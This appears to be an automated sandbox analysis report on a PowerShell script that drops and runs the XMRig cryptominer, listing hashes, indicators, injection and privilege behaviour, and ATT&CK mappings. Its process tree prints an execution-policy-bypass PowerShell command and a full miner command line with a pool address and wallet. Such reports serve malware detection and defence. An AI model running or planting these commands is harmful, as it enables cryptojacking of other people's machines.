xmrig | 08f3805606e1d457ed9e80b975bee0320651e3d5626e9e7cb896fd45e8fd0f7b

Resubmissions

27-05-2024 18:28

240527-w4c4xsdc7w 10

27-05-2024 18:28

27-05-2024 18:28

27-05-2024 18:28

27-05-2024 18:28

27-05-2024 18:28

Analysis

max time kernel
297s
max time network
279s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
22-05-2024 20:13

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General

Target

file01 - copia (9).ps1
Size

510B
MD5

2dcb4d51653aec1a829f3232d69f5e12
SHA1

dd096e7d800b9f3ca0edc64955b4464d71789f80
SHA256

d1902d3e519d0d87097fd8969280bd01bd139a5191faadaed0149e61b4a7495c
SHA512

7def3731bbb3f7ac3895edcf14c645bbcc0608f09c6b03bf7ddaebf049f1f6f1aad4086548ab9fce7b2bbefd837de8377f8b81cf94022d84e35f1bba0af89143

Score

10^/10

xmrig execution miner

Malware Config

Signatures

XMRig Miner payload 19 IoCs

miner

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe	family_xmrig
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe	xmrig
behavioral29/memory/1760-52-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp	xmrig
behavioral29/memory/1760-53-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp	xmrig
behavioral29/memory/1760-58-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp	xmrig
behavioral29/memory/1760-60-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp	xmrig
behavioral29/memory/1760-62-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp	xmrig
behavioral29/memory/1760-63-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp	xmrig
behavioral29/memory/1760-64-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp	xmrig
behavioral29/memory/1760-65-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp	xmrig
behavioral29/memory/1760-66-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp	xmrig
behavioral29/memory/1760-67-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp	xmrig
behavioral29/memory/1760-68-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp	xmrig
behavioral29/memory/1760-69-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp	xmrig
behavioral29/memory/1760-70-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp	xmrig
behavioral29/memory/1760-71-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp	xmrig
behavioral29/memory/1760-72-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp	xmrig
behavioral29/memory/1760-73-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp	xmrig
behavioral29/memory/1760-74-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

8 1996 powershell.exe
14 1996 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

xmrig.exe

pid process

1760 xmrig.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

1996 powershell.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1996 powershell.exe
1996 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exexmrig.exe

description pid process

Token: SeDebugPrivilege 1996 powershell.exe
Token: SeLockMemoryPrivilege 1760 xmrig.exe
Token: SeLockMemoryPrivilege 1760 xmrig.exe
Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

xmrig.exe

pid process

1760 xmrig.exe

flow	pid	process
8	1996	powershell.exe
14	1996	powershell.exe

pid	process
1760	xmrig.exe

pid	process
1996	powershell.exe

pid	process
1996	powershell.exe
1996	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1996	powershell.exe
Token: SeLockMemoryPrivilege	1760	xmrig.exe
Token: SeLockMemoryPrivilege	1760	xmrig.exe

pid	process
1760	xmrig.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

powershell.exe

description	pid	process	target process
PID 1996 wrote to memory of 1760	1996	powershell.exe	xmrig.exe
PID 1996 wrote to memory of 1760	1996	powershell.exe	xmrig.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\file01 - copia (9).ps1"
1⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1996
- C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
  "C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe" -a rx -o stratum+ssl://rx.unmineable.com:443 -u XMR:45aHvZ4X3ZvdhLiEiP1cjsXmSkMNoM2QFYNmXCsoTRY9h2EwjtoYcfrVpEojtmBeg5cRsY9J82Lqp6hUanQ1Dsu4UNfKxdF.unmineable_worker_vilqtiac -p x
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:1760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w4cogki5.upm.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe

Filesize
9.1MB

MD5
205ad9eb6acd6f58752899669b69fe74

SHA1
bedb78ac5034259b86c2cbc915de2e861e8d7604

SHA256
2025f4fe930440da147eecd24a368d3a2f3c1883c499186eb429e9d662c90fda

SHA512
28309f453ae87e8db8c1667d8d8eee5f5f7035372c027afbec48aa3c798c53ade7cfcec0c9575cad2d108e033395ebde4fda6fcfff72c99944119f8fa91d91c3

Download Submit
memory/1760-68-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp

Filesize
12.2MB

Download
memory/1760-74-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp

Filesize
12.2MB

Download
memory/1760-79-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp

Filesize
12.2MB

Download
memory/1760-78-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp

Filesize
12.2MB

Download
memory/1760-77-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp

Filesize
12.2MB

Download
memory/1760-76-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp

Filesize
12.2MB

Download
memory/1760-58-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp

Filesize
12.2MB

Download
memory/1760-75-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp

Filesize
12.2MB

Download
memory/1760-59-0x0000020373020000-0x0000020373040000-memory.dmp

Filesize
128KB

Download
memory/1760-73-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp

Filesize
12.2MB

Download
memory/1760-50-0x0000020371810000-0x0000020371830000-memory.dmp

Filesize
128KB

Download
memory/1760-51-0x0000020373000000-0x0000020373020000-memory.dmp

Filesize
128KB

Download
memory/1760-52-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp

Filesize
12.2MB

Download
memory/1760-53-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp

Filesize
12.2MB

Download
memory/1760-54-0x0000020373020000-0x0000020373040000-memory.dmp

Filesize
128KB

Download
memory/1760-55-0x0000020373040000-0x0000020373060000-memory.dmp

Filesize
128KB

Download
memory/1760-56-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp

Filesize
12.2MB

Download
memory/1760-61-0x0000020373040000-0x0000020373060000-memory.dmp

Filesize
128KB

Download
memory/1760-72-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp

Filesize
12.2MB

Download
memory/1760-71-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp

Filesize
12.2MB

Download
memory/1760-70-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp

Filesize
12.2MB

Download
memory/1760-60-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp

Filesize
12.2MB

Download
memory/1760-62-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp

Filesize
12.2MB

Download
memory/1760-63-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp

Filesize
12.2MB

Download
memory/1760-64-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp

Filesize
12.2MB

Download
memory/1760-65-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp

Filesize
12.2MB

Download
memory/1760-66-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp

Filesize
12.2MB

Download
memory/1760-67-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp

Filesize
12.2MB

Download
memory/1760-69-0x00007FF7EA8C0000-0x00007FF7EB4F3000-memory.dmp

Filesize
12.2MB

Download
memory/1996-0-0x00007FFBCDF43000-0x00007FFBCDF45000-memory.dmp

Filesize
8KB

Download
memory/1996-57-0x00007FFBCDF40000-0x00007FFBCEA01000-memory.dmp

Filesize
10.8MB

Download
memory/1996-11-0x00007FFBCDF40000-0x00007FFBCEA01000-memory.dmp

Filesize
10.8MB

Download
memory/1996-17-0x00007FFBCDF40000-0x00007FFBCEA01000-memory.dmp

Filesize
10.8MB

Download
memory/1996-1-0x000001C6DD770000-0x000001C6DD792000-memory.dmp

Filesize
136KB

Download
memory/1996-18-0x000001C6DDA50000-0x000001C6DDA62000-memory.dmp

Filesize
72KB

Download
memory/1996-19-0x000001C6DDA40000-0x000001C6DDA4A000-memory.dmp

Filesize
40KB

Download
memory/1996-15-0x00007FFBCDF40000-0x00007FFBCEA01000-memory.dmp

Filesize
10.8MB

Download
memory/1996-14-0x00007FFBCDF43000-0x00007FFBCDF45000-memory.dmp

Filesize
8KB

Download
memory/1996-13-0x00007FFBCDF40000-0x00007FFBCEA01000-memory.dmp

Filesize
10.8MB

Download
memory/1996-12-0x00007FFBCDF40000-0x00007FFBCEA01000-memory.dmp

Filesize
10.8MB

Download